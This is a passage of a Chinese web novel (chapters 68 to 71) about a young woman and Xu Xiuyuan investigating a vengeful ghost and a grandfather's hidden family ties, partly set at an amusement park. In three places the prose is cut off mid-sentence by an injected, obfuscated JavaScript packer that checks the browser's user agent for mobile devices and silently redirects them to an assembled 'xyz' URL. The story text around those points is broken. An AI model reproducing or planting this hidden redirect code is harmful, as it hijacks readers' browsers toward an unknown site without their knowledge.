颜珺瑶心头有些发闷,“熙杰,谢谢你。” 张熙杰“啧”了一声,“说这话,谢什么啊!不过你一定要记住,不要被人欺负了却不敢说。” 颜珺瑶重重点头,想了想又道:“对了,你昨晚怎么会——” 她故意这么问,生怕露馅。 张熙杰果然没察觉,“咳,我是当着你的面把车开走了,但还是不放心啊,所以没走多远就又回去了,一直等着。原先以为——咳,你有咖啡啊,赶紧给我一包,提神醒脑,咖啡机都坏了有几天了还没修——哎,宋姐好!” “你们站在这里聊啥呢!”一个同事端着保温杯进来了。 颜珺瑶打了声招呼,“宋姐好!” 转而对张熙杰说道,“我的是三合一速溶咖啡,你要的话现在就去我那拿!” 说着,两人走出了茶水间,颜珺瑶换了个话题,“汤爷爷的手术现在是怎么个情况?” 张熙杰想起昨晚自己打的那一拳,“我联系了一个医生,是这方面的权威,对我爷爷的病挺有把握的。” “真的啊,那太好了!”颜珺瑶欣喜,“那什么时候能动手术啊?” 张熙杰一提到这个就发愁,“我爷爷那个脾气,你也知道,上次为了手术的事情差点和他吵起来,不过我会说服她的,尽快手术,时间久了就怕又出什么问题。” 颜珺瑶点点头,“嗯,好好劝一劝,没有什么比健康更重要了。对了,你很厉害啊,能找到这么厉害的医生。” 张熙杰没有隐瞒,“是许修远帮忙介绍的。” 颜珺瑶十分讶然,是他?! 许修远怎么会—— “他想等我爷爷病好了之后,帮忙处理他家里的事情。” * 回到工位,颜珺瑶只觉得脑子嗡嗡的。 许修远之前不是通过她找过一次,但已经被拒绝了,怎么现在会这么坚持找汤爷爷帮忙,不惜花费心思找了权威的医生,还愿意等到汤爷爷病好了之后? 他不是想好好处理这件事情吗?难道他改变了主意?还是—— 她猛地又想到瑜欣姐的事情突然就被调查清楚了,这八成也是他做的。 所以,许修远已经调查出来汤爷爷就是幕后的那个人了吗? 可他是怎么怀疑到汤爷爷身上呢? 颜珺瑶脑子里塞满了困惑,但一时无法解答,也很快就没有时间胡思乱想了。 一整天她都很忙,中午刚好就在外面,回不去,所以就提前给许修远发了微信,不能一起吃饭。 至于昨晚的事情—— 等到有空的时候她再好好跟他聊一聊,顺便问一问他是不是已经认定汤爷爷就是幕后的人。 她只觉得越快越好,于是紧接着又发微信问许修远明天是否有空,如果方便的话,见一面,她有事情要和他说。 许修远答应了,表示听她安排。 颜珺瑶转了转眼珠子,脑子里莫名地蹦出来一个地方。 【你想去游乐场吗?】 【好。】 * 张熙杰一忙完,回了趟家,就直接去了医院。 他必须说服爷爷,不能再由着他的性子来,什么都没有自己的命重要。 进了病房,郑贺今见到他有些吃惊,“怎么过来了,不是说好今晚我在医院陪着吗?” “爸,你回去休息吧,我正好没什么事,明天早上也要采访一位这里的医生。” 郑贺今半信半疑,犹豫了一会儿,才离开了病房。 张熙杰一屁股坐到病床边上,表情认真地看着汤明山。 “爷爷,如果您是因为帮不了许家,所以才不想动手术,现在许修远告诉我,即使您真的帮不了或者不愿意帮,那他也不会勉强。 但他还是和荣亿医生打了招呼,请他回国,还把联系方式给了我,荣医生亲口跟我说可以给你动手术,而且比较有把握。这样,您还不愿意动手术吗?” 汤明山沉默了良久,“许修远是个好人,但我不愿意欠他人情。” 张熙杰哀求道:“爷爷,许修远会帮我们,是出于对姐姐的愧疚,也是因为他和珺瑶关系好。求您了,没有什么比命更重要。” 汤明山掷地有声,“有。” 张熙杰愣了好久,深吸了一口气,“您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214350|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为施晓梦还是许薇萍,所以不想和许家有牵扯吗?” 汤明山的眼神瞬间变得凌厉异常,张熙杰一惊,但还是继续说道:“我动了您的东西,看到了那张照片,还有那张地图,我找到了您口中的恩人的墓。” 汤明山胸膛起伏地厉害,一把拽过张熙杰的手腕,似乎瞬间苍老了十岁,“这些事,你跟其他人提过没?” “没有。” 汤明山死死攥着他的手腕,“任何人都不能说,你爸妈不能说,珺瑶也不能说,你一定要记住。” 张熙杰盯着他看,“施晓梦是您的姐姐还是您的表姑?她是许修远的太爷爷许天佑的外室,对吗?那她的孩子,许薇萍呢? 是不是以前施晓梦和许家的人发生了什么事,所以您才不愿意和许家有牵扯呢?” 汤明山放开了手,克制着脸颊的微微抽动,“那都是几十年前的事情了,没有必要再提了,我们家和许家也没有任何关系。” “那我爸为什么找人给许家老爷子送信?是您让他去送的吗?” 汤明山再次大惊,“你——你怎么知道的?谁跟你说的?你爸,还是许家的人找你了?” 张熙杰平静地说道,“我自己无意中看到的,认出了我爸的背影。爷爷,所以真的是您给许家送的信吗?您和许家到底是什么关系?” 汤明山松了口气,靠到枕头上,“没什么,你不用知道。” “爷爷,您是在威胁许家吗?就不怕许家查出来吗?没有谁的嘴会那么严,特别是陌生人。您告诉我,到底是不是在威胁许家?” 汤明山突然笑了,“我威胁他们什么?我能威胁他们什么?我只是给他们一些提示而已。你不是说他们家最近遇到了一些麻烦事,所以想请我帮忙。 其实许家在这次之前已经找过我两次了,但我都拒绝了,因为我没法替他们摆平。不过我给了他们一些提示,也许在这些提示下,许家就能顺利解决眼前的麻烦。” “……”真是如此简单吗? 张熙杰皱眉道:“既然您是为了帮他们家,何必偷偷摸摸地送呢?我爸还故意装跛脚,又半路上换了身衣服,一副生怕别人找到他的架势。” 他倾身向前,再次确认,“真的不是威胁?” 汤明山重复道:“是提示。” 张熙杰将信将疑地看着爷爷,“照你这么说的话,那我们家和许家确实没有恩怨,您都愿意主动帮他们。那您告诉我,您和施晓梦到底是什么关系?” 汤明山沉默了许久,蓦地冷声道:“她是我姐,但很早就离开家里了,和家里没什么感情,我甚至都没见过她。” 张熙杰不信爷爷会对施晓梦这个姐姐没有感情,否则一直藏着那张照片做什么。 “那大姑奶奶和表姑是被接进许家,还是在许家之外生活?她们现在是否还在世,后人呢?” “听说出国了,后来就断了联系,我也不清楚。” 好不容易撕开了一道口子,张熙杰继续追问。 “您所谓的恩人,其实是太爷爷和太奶奶的合葬墓,对吗?这么多年,您为什么都不告诉我们,也不带我们去扫墓呢?还有,您为什么会一个人搬到咱们老家那边定居呢?” 汤明山淡然道:“我年轻时得罪了当地的人,所以就跑了,之前一直不敢回去,害怕被那个人的后代给打了。现在都老的变样了,谁还认得出我? 既然你现在知道了,以后我走了,如果你有空,就偶尔替爷爷给他们两人扫扫墓,烧烧纸钱。” 张熙杰觉得爷爷给的这套说法似乎能说得通,但他还是觉得哪里怪怪的,只是一时察觉不出来。 只听汤明山又嘱咐道:“今天我们谈的这些,绝不能让其他任何人知道,包括你爸妈,否则我会折寿。” 69. 第 69 章 一连上了近十天的班,颜珺瑶终于可以休息。 原以为会因为汤爷爷和许修远,还有沈新柔的事情而睡不着,但耐不住身体蔫了,体力不行,刚琢磨着有哪些事情有可能让许修远怀疑到汤爷爷的,她就睡着了,闹钟都没来得及设定。 一夜好眠,终于睡了个饱足的觉,一觉醒来,整个人精神了不少,但一看手机,已经八点半了。 颜珺瑶急忙忙地洗漱,打扮,吃早饭。 钱艺文好奇地问她要去哪里,颜珺瑶在饭桌前坐下,“跟朋友约好了去游乐场。” 钱艺文无语地晲了她一眼,“你就爱去游乐场,玩多少遍都不腻,别玩太刺激的啊,小命要紧!也不知道像谁,胆子那么大。” 颜珺瑶心想,今天主要不是为了去玩的,而是为了谈事情。 而且她和许修远谈的事情,可比游乐场的那些刺激项目更刺激! 手机响了,进来一条微信,许修远已经到楼下了,让她慢慢收拾,不着急。 颜珺瑶三两口把剩下的面包解决了,拿上包跑下了楼,耳边还飘荡着老妈的那句,“注意安全。” * 出了小区,一眼就看到旁边停着的车子,许修远很快就从车上下来了。 颜珺瑶看到许修远的瞬间,有些被惊艳到。 虽然她一直知道许修远长相帅气,但今天是第一次见他穿休闲服,身姿挺拔,看着比平日里西装革履的样子年轻了几岁,充满了朝气,少了几分严肃的感觉,看起来更亲切。 颜珺瑶满脸雀跃地走了过去,许修远笑着问她:“吃早饭了吗?” “嗯嗯,刚吃完,你呢?” “嗯,也吃过了,”许修远打开副驾驶座的车门,“那就——出发吧!” 上了车,刚系好安全带,许修远把一个装满零食的袋子递给她。 “路上估计要四十分钟,吃点零食解解闷。” 哇—— 颜珺瑶打开瞅了一眼,基本上她都挺喜欢的,嘿嘿! “谢谢啦!” “喜欢吗?” “喜欢啊,看起来都挺不错的。我妈说我看见这些好吃的零食,就是老鼠掉进了米缸。” 许修远的嘴角始终弯着,“手套箱有矿泉水,后座上有几瓶果汁。” 颜珺瑶笑眯眯地拆开了一盒巧克力,下意识道:“你真细心!” 许修远不禁失笑,“你昨天去上班,身体感觉怎么样?” 颜珺瑶手上的动作一顿,回想着昨天脑子慢半拍的一整天。 “还可以,昨晚睡饱了,所以今天好多了。” 刚才看到她的时候,许修远确实觉得她的脸色比昨天好一些,但前天晚上沈新柔在她身上呆了那么久,损伤肯定是有的。好不容易她家里人给她调理得好了不少,现在又一朝打回原形。 “你吃巧克力吗?” 看到递过来的已经剥好的巧克力,许修远摇了摇头,“你吃,给我一粒薄荷糖,在袋子里。” 细碎的哗啦声在车内响起,颜珺瑶很快找到了一袋薄荷糖,拿了一粒撕开,男主伸手接过,放到了嘴里。 车子里重归安静,嘴里的巧克力咽了下去,颜珺瑶这才提起前天晚上的事。 “前天晚上,我做了一个很冗长却又很模糊的梦。” 她迷迷糊糊地看到自己穿着那身旗袍去了医院,但很快出来了,还碰到了什么人。之后又独自一人去了许家老宅,差点用簪子扎死了一个人,场面很是混乱。 说到这里,她猛地想起了昨天早上张熙杰和自己说的话。 那么沈新柔昨晚在医院碰到的人应该就是他,只是沈新柔会同意让张熙杰送她去许家老宅吗?不担心暴露“她”不是她吗? 许修远一怔,“所以那天晚上的具体情况你是不知道的?” 颜珺瑶点头“嗯”了一声,“这么看来,前天晚上我——沈新柔确实是去你家了,我猜得没错。” 她抿了抿唇,“昨天早上起来的时候,我看到严婆婆给我的那张平安符被撕了,扔在了垃圾桶最上面,不会是我爸妈,只能是沈新柔。 我觉得挺奇怪的,之前在西郊别墅区的那一次,我就在现场,但这一次居然——” 她歪着头思考了一会儿,“可能是因为我睡着了,意识模糊,所以才会这样——对了,那天晚上我不会真的用簪子扎人了吧?” 许修远笑着宽慰道:“没有,你放心。沈新柔没做什么,只是把当年的真相当着我和我爷爷的面,都说了出来。” 颜珺瑶长叹一声,她居然说了!她终于说了! “嗯,沈新柔说当年——” “等一下——”颜珺瑶出声打断他的话,有些紧张地说道:“要不——还是等咱们到了地方,下了车再说,这样是不是更安全?严婆婆第二次给我的符纸已经没了。” 她始终记着自己第一次坐许修远车子时发生的事情,虽然现在她觉得沈新柔母女不会再伤害他们,但她仍是心有余悸。 就连单独坐许修远的车子,她都会担心自己下一秒会不会不受控地去拽方向盘。 许修远明白她的顾虑,“好!” 不过,其实他能看出来,沈新柔不会伤害她的性命,甚至对她还有愧疚感,但这些话还是要等下了车再说。 * 到达目的地,周末果然哪里人都多。 颜珺瑶提前在网上买了票,直接排队验票进入。 “想玩什么项目?”许修远看她。 “你恐高吗?” 余光里出现了摩天轮,许修远笑着摇头,“不会。” 颜珺瑶一下子兴奋起来,指着不远处的摩天轮说:“那我们先去玩那个吧!” 又是一轮的排队,终于上了座舱,缓缓开始动了起来。 颜珺瑶从包里拿出一瓶矿泉水,递过去,“下车时我揣包里的。” 许修远拧开瓶盖,喝了口水,颜珺瑶有些激动地往外瞧了一眼,拿着手机想拍几张照片,但想到今天来的主要目的还是要和许修远谈话,很快又把手机放回了包里。 于是清了清嗓子,确认道:“前天晚上,我真的没伤人吗?或是打了人?” “没事,你放心。” 颜珺瑶眨了眨眼,看来自己真的打人了。 她实在好奇,那天晚上到底发生了啥? 许修远暗暗叹了口气,把那天晚上沈新柔所说的大致转述给她听。 虽然之前已经有所猜测,但听到沈新柔所说的真相,颜珺瑶还是震惊万分,一直微张着嘴,却一句话也说不出来。 太TM不是人了,居然对着两个幼童下手,真的太狠了! 气血上涌,一时有些眼前发黑,她闭上眼,用力地揉了揉太阳穴。 许修远看出她不舒服,忙问怎么样了。 颜珺瑶摇头道:“没事,不要紧。” 不一会儿缓了过来,才问道:“那你爷爷——承认吗?还有沈新柔提的几个条件,你爷爷他接受吗?” 许修远脸上的笑意有所收敛,无奈地笑了声,“不管他心里怎么想,他都必须承认这两件事。三姑奶奶的事情,毫无疑问是大姑奶奶造成的,而且爷爷也承认当时三姑奶奶出事后,那条项链就是在大姑奶奶手上。 而大爷爷确实是被害死的,因为有人证,当时家里的一个小丫鬟亲眼看到了。也是因为得知了自己的一对儿女都是被人害死的,当时被关起来的沈新柔想求助于——” 他顿了下,又喝了口水,“想求助于我太爷爷,但太爷爷一直没去见他。” 颜珺瑶接着说下去:“所以她感到无望,才自缢而亡?” 许修远点了点头,“是这样。” 渣男! 颜珺瑶下意识地骂了出来,可话说出口之后,才意识到什么,不好意思地看着许修远。 “对不起,我——” 她也不知道该怎么解释,我什么?我不是故意的?还是我一时忘记这个渣男是他太爷爷了? 算了,不解释了,自己就是骂了,这么骂他还是轻的了。 而且这个许天佑在这两件事情里,很明显都是在维护大太太和他的大女儿,让沈新柔让步,不停地试图劝服她,甚至为了事情不闹大,居然还同意把她给关起来,对外说是沈新柔发疯。 这不是渣男是什么? “不用道歉,如果他不是我太爷爷,我也会骂他。” 颜珺瑶忍不住问道:“你——相信她昨晚说的真相吗?” 许修远默了默,看着颜珺瑶,“相信,只是有点难以接受我的太奶奶和大姑奶奶会——是这样。 小时候听我奶奶私下里偷偷抱怨过太奶奶,说她老人家太过强势,掌控欲很强,而我爷爷又比较孝顺。我奶奶性格温柔,但不是没有脾气的,所以年轻时我奶奶经常和我爷爷吵架,有一次差点就离婚了,后来双方族里的长辈都纷纷劝说,两人才和好。但之后还是时不时吵架,直到我大伯出事后,没多久我太奶奶也走了,我爷爷和我奶奶自此再也没红过脸。 我一直以为太奶奶最多只是性格强势,没想到她年轻时还如此——心狠手辣。” “那条项链呢?你觉得真的是被你爷爷随手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218528|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送给乞丐了吗?” 许修远沉思,沈新柔提的那些条件,爷爷都答应了,但唯独项链—— 从一开始他对自己说的是“他应该能找到项链”,变成了现在的“小时候被他随手送给路过的乞丐”。 爷爷这么在意这条项链,又前后说法不一,那么肯定这条项链还是在的。再加上沈新柔说过,大姑奶奶对于越是抢来的东西才越珍惜。那条蝴蝶项链,是她费劲了心思得来的,甚至还间接害死了三姑奶奶,她一定倍加喜欢。所以—— 东西一定还在,绝不会送人的。 “他应该是知道在哪里的。” “那就好,这样就能满足她们母女的心愿,这件事也能尽早解决。 对了,那个什么港城的大师,长得什么样?” 许修远扬了下眉,似乎奇怪她怎么突然好奇起游祝平的长相,一瞬他明白了。 “我爷爷是不是又去找过你,还带了人?” 颜珺瑶没想到许修远反应这么快,只好说道:“嗯,前几天见的,他希望我能去一趟你们家老宅,说是到时候也会让你在场,让我考虑考虑。现在沈新柔主动找过你爷爷,而且——” 她从包里拿出一张便签纸,“这是我昨天晚上回到家里时在包里找到的。” 许修远接过一看,上面只有一句简短的话:不要去许家,危险。 繁体字书写,字迹十分清秀有力。 “繁体字,这应该是沈新柔给我写的。” 许修远点头,“你不用去,而且那个大师,昨天傍晚已经回去了。如果以后我爷爷还找你,你也不要答应。” 颜珺瑶“嗯”了一声,“沈新柔是不是拿着簪子制住了那个大师?” 得到肯定答案,她没忍住笑,许修远不禁也跟着笑了起来。 “沈新柔说那是你的身体本能,说你以前学过一点武术。” “嗯,我以前学过一点防身术,练了两——”颜珺瑶蓦地停住,眨了眨眼睛,沈新柔知道她学过一点武术。 沈新柔直接这么说出来,难道不怕别人猜出来她沈新柔还在世的亲人就在自己身边吗? 她不自在地瞥了一眼许修远,对方似乎还在等着她后面的话。 她只好接着说道:“练了两年,家里人担心我被人欺负,所以才让我学的。” 只是没想到居然还能把一个男人制住,看来许家老爷子这回请的大师,身体够虚的啊! 她低头又从包里掏出一盒巧克力,心里暗自琢磨着,许修远有没有注意到沈新柔这句话的问题呢? 他那么聪明,八成注意到了——等到他查出幕后之人,他会做些什么呢? “女孩子学防身术挺好的,有助于安全。” 颜珺瑶抬眸看向男主,抓了下脸,刚想说点什么,就听许修远突然道:“我给你拍张照片?” “嗯?哦,好——” 颜珺瑶把自己的手机递过去,习惯性地举起了剪刀手。 许修远用她的手机给她拍了两张,镜头里的姑娘眉眼弯弯,自在蓬勃,灵动可爱。 咔嚓一声,画面定格,摩天轮也停了下来。 * 下了摩天轮,颜珺瑶心里憋着话,没什么心思继续玩,就去买了冰淇淋。 天气大好,阳光明媚,两人选了一个阴凉处坐着,一边休息,一边吃东西。 颜珺瑶无心吃冰淇淋,“有件事,我想问一下你——” “你问。” 颜珺瑶有些支吾,“就是——就是瑜欣姐的事情,是你要求公司重新调查的吗?” 许修远叹了口气,“公司管理不到位,而且事发这么久我才知道,很抱歉。” 颜珺瑶咬了咬唇,犹豫了半晌才问道:“你——怎么会知道瑜欣姐在哪家公司呢?” 印象里,自己应该是没有跟他说过的。 许修远并没有隐瞒,“我有求于汤老先生,又听你说了他孙女的遭遇,所以就让人去查了查,没想到事情就发生在分公司。” 是这样啊—— 颜珺瑶见她快吃完了,把一包面巾纸塞到他手里。 许修远见她欲言又止,似乎有什么想说却又不敢说,于是便温声问道:“你是不是还有问题要问我?” 颜珺瑶鼓足了勇气,终于决定开口:“你是不是怀——哥哥,我要去玩那个——” 哥哥? 许修远有一瞬间的慌乱,但见颜珺瑶扭头看着不远处的旋转木马,一只手指着那头。 他立即瞄了一眼腕上的手表,中午十二点。 “三姑奶奶?!” 70. 第 70 章 颜珺瑶见他没答应自己,直接去拉着他的衣袖。 “哥哥,我要玩那个,你带我去——” “好,我带你去!” 许修远镇定下来,“你是许薇萍,萍萍吗?” 颜珺瑶舔了一口所剩不多的冰淇淋,“我是萍萍啊,这个好甜——许修远——玩那个——” 许修远牵着她去了旋转木马,幸好这个时间点刚好人不多。他扶着颜珺瑶上了一匹木马,嘱咐她不能乱动,一定要抓紧,等到停了才能从上面下来。 许修远不放心,也跟着坐上了旁边的一匹木马,眼神丝毫不敢离开她半秒。 颜珺瑶脸上洋溢着孩童般天真无邪的笑容,一只手紧紧抓着,另一只手却忍不住在木马身上摸着。 许修远刚想出声提醒,颜珺瑶却突然痛苦地闭上了眼,再睁开时额间已经有了细密的汗珠。 “珺瑶?” 颜珺瑶微微喘着气,恍惚了一会儿,见自己突然跑到旋转木马上面,很快明白过来。 她转头问许修远,“是不是——萍萍想玩这个?” “是三姑奶奶。” 一瞬间,颜珺瑶心里很不是滋味,从木马上下来时心情都有些低沉。 许修远扶着她到一旁坐着歇息,两人都安静地坐着。 鼻腔再次一热,颜珺瑶知道自己又流鼻血了,但很快又止住了。 许修远心疼地看着她,一边帮她擦拭,一边问她要不要去医院看看,这么经常流鼻血怕是不行的。 颜珺瑶摇头,“不用,今天流的不多。” 而后,她掏出那盒还没吃完的巧克力,剥了一颗塞到嘴里,连着吃了好几颗。 这才缓了过来,重又恢复成原先笑眯眯的模样。 “你中午想吃啥?” 许修远稍稍放了心,笑着道:“我都可以,你想吃什么,我们就去吃什么。” 颜珺瑶提议:“要不吃海鲜面吧,这里有一家海鲜面非常好吃!” 许修远自然同意,两人往餐厅方向走去,没走多远身后就传来两道熟悉的声音。 “珺瑶!” “修远!” 两人回头,原来是吴以晴和她老公白宴。 颜珺瑶定睛一看,一旁那个男生她也认识,就是那个图像高手黄衣,边上还有一个女生。 吴以晴有些兴奋,“好久都没见你了。” 她看向许修远,笑道:“没想到是许总陪我们珺瑶出来玩,正好碰上,一起吃饭呀!” * 于是一行六人去了餐厅,最后吃了西餐。 午饭期间,颜珺瑶的脑子眼睛比嘴忙。 她有些看出来了,今天吴以晴和白宴是来当媒人的,介绍黄衣和李思雨认识。 吴以晴和白宴倒是没有调侃她和男主,只是目光在她和她身边的许修远身上来回游移了好几趟。 不过颜珺瑶倒是挺自在的,她看许修远也是谈笑自若。 但是当时餐桌上的氛围还是有点奇怪,因为黄衣和李思雨。 黄衣似乎对李思雨并没有意思,但李思雨去一直主动和黄衣说话。黄衣像是出门前脸上上了腊,面部肌肉不能动似的。不爱笑,也不怎么说话,问一句回一句,还都挺简短的,像是被逼着来的。 午餐过后,吴以晴四人打算离开游乐场,大概也是察觉到黄衣的态度,不想让黄衣和李思雨两人太尴尬。 颜珺瑶有些犯困,精神也不足,两人也跟着离开了。 车上,她忍不住和许修远八卦起来。 “你说黄衣和李思雨是来相亲的吗?” “看着像。” 颜珺瑶好奇,“怎么相亲跑到这里来了?还挺别出心裁的。” 许修远笑了笑,“你和黄衣之前就认识?” “嗯,他是技术高手,之前我需要处理图像,以晴介绍认识的。第一次见到的时候,真的是大吃一惊,打破了我对技术宅的刻板印象。 年轻时尚,干净帅气,完全看不出来已经三十岁了,还以为刚大学毕业的,也不知道是后天保养的,还是先天基因好,真是羡慕不来。” 许修远不禁偏头看了她一眼,就见她突然话锋一转,“啧”了一声,“不过嘛,太高冷,刚才我都感觉李思雨都快哭出来了。这人真的是,不喜欢对方之后婉拒就好了,不能当着这么多人的面让女生尴尬呀!你说对吧!” “嗯,对。” 颜珺瑶又叹了口气,“相亲就是开盲盒,没见到,没接触过,都不知道对方是什么样的人。” “你也相过亲?” 颜珺瑶点头,“大学刚毕业那会儿,我爸的一个同事介绍的,大我八岁,那个男生令我印象深刻。” 许修远挑了下眉,“哦?怎么说?” “刚见面的时候还挺好的,聊着聊着他说的话就变得抽象了。他说他看过什么论文,女性的身体在二十五岁之后就开始走下坡路,最佳生育年纪就是二十五岁之前,所以他希望自己的另一半在婚后能立刻生孩子。 再有,他说他有时候会应酬到太晚,为了不影响家人的睡眠,他不会回家,会在外面开房——” 许修远听着忍不住摇头,“司马昭之心。” “可不嘛,我是刚毕业,但不代表我是傻子呀!” 颜珺瑶还清楚记得当时的场景,真的是挺精彩的。 自己当时问他,是否觉得在婚姻关系里男女平等,相亲对象想都不想就说平等。 她又接着问,那你肯定能接受另一半因为工作到太晚,不回家睡觉,在外面开房。 那位仁兄当即变了脸色,说他不能接受,女人多晚都得回家。 最后,她就祝他永远二十五岁,此后没再见过面。 许修远忍俊不禁,“所以说网上才会有很多关于奇葩相亲对象的段子和视频,都是取材于生活。” 颜珺瑶打开了话匣子,“其实有时候媒人也挺奇葩的。我跟你说,我刚大一的时候,我老家的一个婶子就给我妈打电话,说要给我介绍对象。一通的胡说八道,给我妈气的直接跟她吵起来了。那个婶子吵不过我妈,后来就跑到我爷爷奶奶家去哭诉,又被我爷爷奶奶说了,然后——两家就不来往了。” “她说了什么。” “她说对方是个很有钱的大老板,女生不用读那么多书,以后还不是要生娃带娃做家务,又说什么要趁着年轻,才能找到有钱人,不然再过两年就成老姑娘了,就只能被别人挑了。 还说很多女孩子上了大学就不学好了,私奔,怀孕,被包养什么的,上大学有什么用。这都什么乱七八糟的话,我妈听了不生气才怪。” 许修远目视前方,“通过贬低你,打压你,试图让你顺从。在她眼里,年轻漂亮的女生成了她赚钱,人情往来,甚至是结交权贵的工具。对于这种人,不来往确实是最好的选择。” 颜珺瑶想起来,这件事还有后续。 大三放假的时候,她回老家碰到了这个婶子,那个女人朝她翻白眼。 颜珺瑶直接就凑到她面前,“婶子眼睛不好可得注意,我可以给你介绍个眼科专家,保证把你的斜眼治好。” 女人气坏了,差点当场跳脚,又开始阴阳怪气,“之前那个大老板找了个更年轻的,才十七岁,人现在都生两个儿子了,住大房子,开豪车,天天有人伺候,看你以后能嫁个什么样的。” 她笑眯眯地回道:“婶子就不用替我操心了,横竖我结婚的时候也不会请你。” 女人撇着嘴,把头扭开,“谁稀罕似的!生不出儿子,等着被打死吧!也就你爸那种蠢货,还稀罕你妈。” 她似笑非笑地看着那个女人,“您哪会稀罕一桌酒席呢?您稀罕的是那个大老板吧,只可惜您自己也知道那个大老板喜欢年轻的,所以只能每天在脑子里想想。可千万别让我叔知道了,他好面子的。” 女人直接跳起来,一边大骂起来,一边就要动手扇她巴掌,被她给躲开了。对方还想追着她打,奶奶拿着扫帚从院子里冲了出来,跟她吵起来。边上的邻居也围了过来,这个女人平日里嘴上就是不干不净遭人嫌,很多人都不喜欢她。见没人站在她那边,只好骂骂咧咧地跑了。 去年听说她去城里给儿子带孩子,和儿媳每天一小吵,三天一大吵,后来被儿子嫌弃,又回了老家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,根据快递员的描述,我觉得很像是张熙杰。应该是他父亲戴了他的帽子,去送第二封信的时候恰巧又被张熙杰看到了,所以张熙杰才会去找这个快递员。 而严婆婆给你的护身符,在你那次出车祸时突然就不见了,当时第一个陪着你去医院的是汤明山老先生,我怀疑是他拿走了那张符。 从我大伯去世,到我父亲的意外,这中间的四十多年,我们家没出过什么不好解释的事情。而这期间,我们家和汤明山老先生唯一的交集,就是张瑜欣的事情。” 颜珺瑶思忖半晌,“你觉得是因为瑜欣姐出了事,所以汤爷爷才决定新仇旧恨一起清算?” 许修远颔首,“前天晚上,沈新柔告诉我,我父亲的车祸是意外,这不是她的本意。我相信她的话,不过虽然如此,但我依旧不能原谅。 可这件事总要了结,冤冤相报是个不了局,这一切的根源是在许家。我父亲离世后,他们的下一个目标应该是我,所以才有了那几次差点发生的意外,但每次你都救了我,所以他们没有成功。 不过现在,我确实感觉沈新柔没有了要伤害我的打算,他们应该也是想让事情彻底了解,所以才会提出那几个要求,为她和三姑奶奶正名,让被隐瞒了几十年的真相重见天日,让许家承认当年所犯下的罪孽。” 他顿了顿,“但我不清楚汤明山老先生到底是什么态度,所以我代表许家先表态。不管是重新调查张瑜欣的事情,还是给汤明山老先生请的医生,都是我的一点诚意。不过,汤明山老先生拒绝了,可能是信不过许家人,或者是不想和许家有任何牵扯。” 颜珺瑶知道这件事,看来汤爷爷确实很抵触许家。 “你接下里打算做什么?” 许修远叹了口气,“先找到那条项链吧!” 他话锋一转,“你呢?你怎么怀疑到汤明山老先生身上的?” 须臾之间,他想起了一件事,“是监控视频吗?你在上面找到了谁?汤老先生?” 颜珺瑶垂下了眼睛,点了点头。 71. 第 71 章 临睡前,颜珺瑶接到了吴以晴的电话。 对方一开口就嘿嘿地笑,直接了当道:“你和许修远是不是在一起了呀?你可不够意思了啊,什么时候在一起的,都没第一时间告诉我,还得我自己发现。” “……”就知道她要误会。 颜珺瑶在床上翻了个身,打了个哈欠,“没有,我有事情要问他,所以约他去那里说话。” “少来,谁特意去游乐场聊天的,他是不是在追你?”吴以晴明显不相信。 许修远现在哪里还会有什么心思追人,家里的麻烦就够他一个头两个大的了。 颜珺瑶顿了顿,只好说道:“不是,算是——我追他吧!” 她要是不这么说,以晴一定不会就此止步,很可能会从盘古开天辟地开始盘问她。 只有这么说,以晴就只会做一件事,那就是给她加油打气。 其实在和许修远约好今天去游乐场之后,她自己也觉得有点奇怪,自己是要和他说要紧事的,怎么就鬼使神差地约了游乐场,而且许修远还答应了? 也许是冥冥中自有安排吧,让她在那一瞬间想到了这个地方,也让许薇萍尝试了一次旋转木马。这是许多小朋友都喜欢的,愿事情了结后,她乐意顺利投胎转世,来世能有一个幸福的人生。 “啊,真的吗?你太棒啦!”电话那头的吴以晴发出一声惊叫,越发激动了,“嘿,我以过来人的身份告诉你,他愿意和你一起去游乐场,肯定是对你也有意思的,哈哈,你们俩就差捅破那层窗户纸了!许修远不错,各方面条件都很好的。我公公之前就夸过他,说他聪明,品性好!加油啊瑶瑶,拿下他,我很看好你,争取明年轮到你俩结婚!” 这进度条拉的! 颜珺瑶:“……我努力——” 吴以晴现在感觉比她自己谈恋爱时还要兴奋,“我回头也帮你多打听打听他到底怎么样,毕竟我公公一家之言也不一定准确,而且许修远是他的得意门生,肯定是有滤镜的。对了,你俩要是真正在一起了,可一定要第一时间告诉我呀!” “……嗯,第一个通知你的,放心。” 吴以晴哈哈笑起来,“够意思!其实吧,原先我老公还跟我打听你有对象没,想介绍你和黄衣认识。黄衣你也见过,真的是长得阳光帅气,一点都看不出三十了。重要是这人不会在外面乱来,家里条件也好,自己又有本事,所以之前在公司受了气,说不干就不干,丝毫不带犹豫的。他现在自己单干,赚的可不少。不过他这人就一个毛病,性子有点高冷,有时候说话太直接。 